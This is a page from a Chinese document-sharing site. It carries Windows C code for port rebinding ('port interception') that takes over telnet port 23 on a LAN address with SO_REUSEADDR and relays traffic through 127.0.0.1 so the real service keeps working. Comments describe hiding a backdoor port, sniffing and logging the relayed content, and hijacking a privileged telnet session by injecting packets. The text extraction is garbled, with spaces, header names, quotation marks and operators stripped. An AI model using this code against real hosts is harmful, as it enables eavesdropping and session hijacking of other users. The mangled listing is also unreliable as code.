《2022年端口截听实现端口隐藏嗅探与攻击(2).docx》由会员分享,可在线阅读,更多相关《2022年端口截听实现端口隐藏嗅探与攻击(2).docx(8页珍藏版)》请在得力文库 - 分享文档赚钱的网站上搜索。
1、2022年端口截听实现端口隐藏嗅探与攻击(2)以下是代码片段:#include#include#include#includeDWORDWINAPIClientThread(LPVOIDlpParam);intmain(){WORDwVersionRequested;DWORDret;WSADATAwsaData;BOOLval;SOCKADDR_INsaddr;SOCKADDR_INscaddr;interr;SOCKETs;SOCKETsc;intcaddsize;HANDLEmt;DWORDtid;wVersionRequested=MAKEWORD(2,2);err=WSAS
2、tartup(wVersionRequested,wsaData);if(err!=0){printf(error!WSAStartupfailed!n);return-1;}saddr.sin_family=AF_INET;/截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用状况下,应当指定详细的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了saddr.sin_addr.s_addr=inet_addr(192.168.0.60);saddr.sin_port=htons(23);if(s=socke
3、t(AF_INET,SOCK_STREAM,IPPROTO_TCP)=SOCKET_ERROR){printf(error!socketfailed!n);return-1;}val=TRUE;/SO_REUSEADDR选项就是可以实现端口重绑定的if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char*)val,sizeof(val)!=0){printf(error!setsockoptfailed!n);return-1;}/假如指定了SO_EXCLUSIVEADDRUSE,就不会绑定胜利,返回无权限的错误代码;/
4、假如是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以胜利,就说明具备这个漏洞,然后动态利用端口使得更隐藏/其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击if(bind(s,(SOCKADDR*)saddr,sizeof(saddr)=SOCKET_ERROR){ret=GetLastError();printf(error!bindfailed!n);return-1;}listen(s,2);while(1){caddsize=sizeof(scaddr);/接受连接恳求sc=accept(s,(str
5、uctsockaddr*)scaddr,caddsize);if(sc!=INVALID_SOCKET){mt=CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,tid);if(mt=NULL){printf(ThreadCreatFailed!n);break;}}CloseHandle(mt);}closesocket(s);WSACleanup();return0;}DWORDWINAPIClientThread(LPVOIDlpParam){SOCKETss=(SOCKET)
6、lpParam;SOCKETsc;unsignedcharbuf4096;SOCKADDR_INsaddr;longnum;DWORDval;DWORDret;/假如是隐藏端口应用的话,可以在此处加一些推断/假如是自己的包,就可以进行一些特别处理,不是的话通过127.0.0.1进行转发saddr.sin_family=AF_INET;saddr.sin_addr.s_addr=inet_addr(127.0.0.1);saddr.sin_port=htons(23);if(sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)=SOCKET_ERROR){
7、;printf(error!socketfailed!n);return-1;}val=100;if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char*)val,sizeof(val)!=0){ret=GetLastError();return-1;}if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char*)val,sizeof(val)!=0){ret=GetLastError();return-1;}if(connect(sc,(SOCKADDR*)saddr,size
8、of(saddr)!=0){printf(error!socketconnectfailed!n);closesocket(sc);closesocket(ss);return-1;}while(1){/下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。/假如是嗅探内容的话,可以再此处进行内容分析和记录/假如是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。num=recv(ss,buf,4096,0);if(num>0)send(sc,buf,num,0);elseif(num=0)break;num=recv(sc,buf,4096,0);if(num>0)send(ss,buf,num,0);elseif(num=0)break;}closesocket(ss);closesocket(sc);return0;}